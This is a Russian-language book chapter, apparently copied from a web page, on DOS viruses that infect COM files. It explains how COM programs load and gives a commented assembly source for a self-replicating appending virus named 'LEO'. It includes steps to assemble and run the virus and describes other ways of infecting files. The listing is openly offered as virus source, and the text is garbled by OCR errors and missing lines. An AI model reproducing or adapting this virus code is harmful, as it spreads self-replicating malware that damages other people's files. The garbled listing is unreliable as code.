| ||||||||||||||||
| ||||||||||||||||
| ||||||||||||||||
СОМ-вирусы В этой главе рассказано об алгоритмах работы вирусов, заражающих СОМ-файлы, и способах их внедрения. Представлен исходный текст одного из таких вирусов с подробными комментариями. Также приведены основные сведения о структуре и принципах работы СОМ-программы. Компьютерные вирусы могут "гнездиться" в самых неожиданных местах, например, в записи начальной загрузки MBR (master boot record), в исполняемых файлах типа СОМ и ЕХЕ, в файлах динамических библиотек DLL и даже в документах текстового процессора Microsoft Word for Windows. В этом разделе подробно рассматривается строение вируса, поражающего СОМ-файлы. Структура и процесс загрузки СОМ-программы Что же представляет собой СОМ-программа, как она загружается в память и запускается? Структура СОМ-программы предельно проста - она содержит только код и данные программы, не имея даже заголовка. Размер СОМ-программы ограничен размером одного сегмента (64Кбайт). И еще два понятия, которые часто будут встречаться: Program Segment Prefix (PSP) - область памяти размером 256 (OlOOh) байт, предшествующая программе при ее загрузке. PSP содержит данные командной строки и относящиеся к программе переменные. Disk Transfer Address (DTA) - блок данных, содержащий адреса обмена данными с файлом (чтение или запись). Область DTA для работы с файлом используют многие функции, в том числе и не производящие чтение или запись в файл. Примером может служить функция 4Eh (найти первый файл по шаблону), которая будет неоднократно встречаться в листингах программ. Загрузка СОМ-программы в память и ее запуск происходят так: 1. Определяется сегментный адрес свободного участка памяти достаточного для размещения программы размера. 2. Создается и заполняется блок памяти для переменных среды. 3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP; сегментЮЮОЬ - программа). В поля PSP заносятся соответствующие значения. 4. Устанавливается адрес DTA равным PSP:0080h. 5. Загружается СОМ-файл с адреса PSP:0100h. 6. Значение регистра АХ устанавливается в соответствии с параметрами командной строки. 7. Регистры DS, ES и SS устанавливаются на сегмент PSP и программы (PSP.-OOOOh). 8. Регистр SP устанавливается на конец сегмента, после чего в стек записывается OOOOh. 9. Происходит запуск программы с адреса PSP:0100h. СОМ-программа всегда состоит из одного сегмента и запускается со смещения OlOOh. Простейший СОМ-вирус В начале СОМ-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды OE9h, следующие два - адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только СОМ-файлы, начинающиеся с команды JMP. Благодаря простому строению СОМ-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом. После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2. Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге СОМ-программы. Для этого используется функция 4Eh (найти первый файл): Рис. 1.1. Тело вируса записывается в конец файла, туда же переносится оригинальный JMP, на место которого записывается инструкция JMP на тело вируса. ;Ищем первый файл по шаблону
имени mov dx,offset fname - offset myself Затем вирус проверяет (по первому байту файла), подходят ли ему найденные СОМ-программы: [Открываем файл mov ax,3D02h mov dx,9Eh int 21h ;Если при открытии файла ошибок
не произошло, jnc See_Him jmp exit ; Читаем первый байт файла xchg bx,ax mov ah,3Fh mov dx,offset buf-offset myself add dx.bp xor ex,ex ;CX=0 inc ex [(увеличение на 1) СХ=1 Сравниваем. Если первый байт файла ;не E9h, то переходим к поиску следующего .файла - этот для заражения не подходит cmp byte ptr [bp+(offset buf-offset myself )],OE9h jne find_next Перед заражением файла вирус проверяет сигнатуру - не исключено, что файл уже заражен: Переходим в конец файла (на
последний байт) mov dx,[bp+(offset flen-offset MySelf)] ;Читаем сигнатуру вируса mov ah,3Fh xor ex,ex inc ex mov dx.offset bytik-offset myself add dx.bp int 21h .Если при чтении файла ошибок не произошло, [Проверяем сигнатуру, ;иначе ищем следующий файл jnc test_bytik jmp find_next [Проверяем сигнатуру cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte ;Если сигнатура есть, то ищем
другой файл, je find_next2 jmp NotJnfected Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя: [Переходим в конец файла Останавливаем регистр DS на
сегмент кода [Копируем вирус в файл mov cx.offset VirEnd-offset la sub dx,offset myself-offset la [Записываем в начало файла
переход на тело вируса .Переходим в начало файла [Записываем первые три байта
файла (переход на тело вируса) mov dx, offset jmpvir-offset myself После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем - исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю. Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами: tasm.exe leo.asm В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус. Для проверки работы вируса можно создать отдельный каталог и скопировать в него этот файл, а также несколько других СОМ-файлов. После запуска LEO.COM вирус внедрится во все остальные СОМ-файлы. Не стоит бояться, что будет заражен сразу весь компьютер - вирус распространяется только в текущем каталоге. Ниже приводится исходный текст вируса: .286 .Устанавливаем тип
процессора [Указываем, что регистры CS и DS
содержат ;Начало сегмента кода. В конце
программы сегмент кода нужно Останавливаем смещения в сегменте кода. Данная строчка обязательна ;для СОМ-программы (все СОМ-программы начинаются с адреса 100h) org 100h e="3">start: ;Имитируем зараженный СОМ-файл. db OE9h ;Код команды JMP dw offset la-offset real [Выходим из программы ;3десь начинается тело вируса ;Сохраняем регистры и флаги .Получаем точку входа. ;Для этого вызываем подпрограмму (следующий ;за вызовом адрес) и читаем из стека адрес возврата call MySelf pop bp восстанавливаем первые три
байта исходной программы [Дальнейшая задача вируса - найти новую жертву. ;Для этого используется функция 4Eh (Найти первый файл). ;Ищем файл с любыми атрибутами Find_First: .Ищем первый файл по шаблону
имени mov dx.offset fname-offset myself mov cx,00100111b ;Если файл найден - переходим к
смене атрибутов, иначе выходим jnc attributes jmp exit .Читаем оригинальные атрибуты
файла mov dx,9Eh .Адрес имени файла .Сохраняем оригинальные
атрибуты файла •.Устанавливаем новые атрибуты
файла mov dx,9Eh .Адрес имени файла Переходим к открытию файла ;Ищем следующий файл, так как
предыдущий не подходит ;Восстанавливаем оригинальные
атрибуты файла mov dx,9Eh ;Адрес имени файла [Закрываем файл ;Ищем следующий файл ;Если файл найден - переходим к
смене атрибутов, иначе выходим jnc attributes jmp exit .-Открываем файл mov ax,3D02h mov dx,9Eh int 21 h ;Если при открытии файла ошибок
не произошло - jnc See_Him jmp exit ;Читаем первый байт файла xchg bx.ax mov ah,3Fh mov dx.offset buf-offset myself add dx,bp xor ex,ex ;CX=0 inc ex [(увеличение на 1) СХ=1 int 21 h .Сравниваем. Если первый байт файла ;не E9h, то переходим к поиску следующего файла - ;этот для заражения не подходит cmp byte ptr [bp+(offset buf-offset myself )],OE9h jne find_next ; Переходим в начало файла [Читаем первые три байта файла в
тело вируса mov ah,3Fh mov dx,offset bytes_3-offset myself add dx.bp mov cx,3 int 21 h .Получаем длину файла, для чего
переходим в конец файла mov ax,4202h xor ex,ex xor dx.dx int 21h ;Сохраняем полученную длину файла mov [bp+(offset flen-offset MySelf)],ax [Проверяем длину файла ;Если файл не больше 64000 байт,- переходим ;к следующей проверке, ;иначе ищем другой файл (этот слишком велик для заражения) jna richJest jmp find_next Проверим, не заражен ли файл. [Переходим в конец файла (на
последний байт) mov dx,[bp+(offset flen-offset MySelf)] ;Читаем сигнатуру вируса mov ah,3Fh xor ex,ex inc ex mov dx,offset bytik-offset myself add dx.bp ;Если при чтении файла ошибок ;не произошло - проверяем сигнатуру, .иначе ищем следующий файл jnc test_bytik jmp tind_next ;Проверяем сигнатуру cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte ;Если сигнатура есть, то ищем
другой файл, jne NotJnfected jmp find_next .Файл не заражен - будем заражать mov ax,[bp+(offset flen-offset myself)] sub ax,03h mov [bp+(offset jmp_cmd-offset myself)],ax .Переходим в конец файла [Устанавливаем регистр DS на
сегмент кода .Копируем вирус в файл mov ex,offset VirEnd-offset la sub dx,offset myself-offset la Записываем в начало файла
переход на тело вируса .Переходим в начало файла [Записываем первые три байта
файла (переход на тело вируса) mov dx.offset jmpvir-offset myself ;3акрываем файл mov ah,3Eh int 21h ;Восстанавливаем оригинальные атрибуты файла mov ax,4301h mov dx,9Eh pop ex int 21h восстанавливаем первоначальные
значения регистров и флагов Передаем управление
программе-носителю -.Байт для чтения сигнатуры .Зарезервировано для изменения
трех байт вируса ;Длина файла ;Шаблон для поиска файлов ;0бласть для хранения команды
перехода ;Байт памяти для чтения первого
байта файла ;Название вируса ;Сигнатура a db CheckByte VirEnd: code ends end start Способы внедрения СОМ-вирусов Рассмотренный вирус дописывался в конец файла, а в начало файла вписывал переход на себя. Существуют и другие способы внедрения вирусов. Рассмотрим два варианта внедрения СОМ-вируса в начало файла. Вариант первый. Вирус переписывает начало программы в конец файла, чтобы освободить место для себя. После этого тело вируса записывается в начало файла, а небольшая его часть, обеспечивающая перенос вытесненного фрагмента программы, на прежнее место - в конец. При восстановлении первоначального вида программы тело вируса будет затерто, поэтому код вируса, восстанавливающий программу, должен находиться в безопасном месте, отдельно от основного тела вируса. Этот способ внедрения изображен на рис. 1.3. Рис. 1.3. При загрузке зараженного таким способом файла управление получит вирус (так как он находится в начале файла и будет загружен с адреса OlOOh). После окончания работы вирус передает управление коду, переносящему вытесненную часть программы на прежнее место. После восстановления (в памяти, не в файле) первоначального вида программы, она запускается. Схема работы вируса изображена на рис. 1.4. Второй вариант отличается от первого тем, что вирус, освобождая для себя место, сдвигает все тело программы, а не переносит ее часть в конец файла. Этот способ внедрения изображен на рис. 1.5. После запуска зараженной программы, как и в предыдущем случае, управление получает вирус. Дальнейшая работа вируса отличается только тем, что часть вируса, восстанавливающая первоначальный вид программы, переносит к адресу OlOOh все тело программы, а не только вытесненную часть. Схема работы вируса, заражающего файл таким образом, приведена на рис. 1.6. Существуют разновидности вирусов, не дописывающие часть своего тела в конец файла. К примеру, вирус может внедряться в середину файла. В этом случае алгоритм работы вируса является смесью алгоритмов одного из двух только что описанных вирусов и вируса, описанного в разделе "Простейший СОМ-вирус". [Назад][Содержание][Вперед] |
|
| ||||||||||||||||
|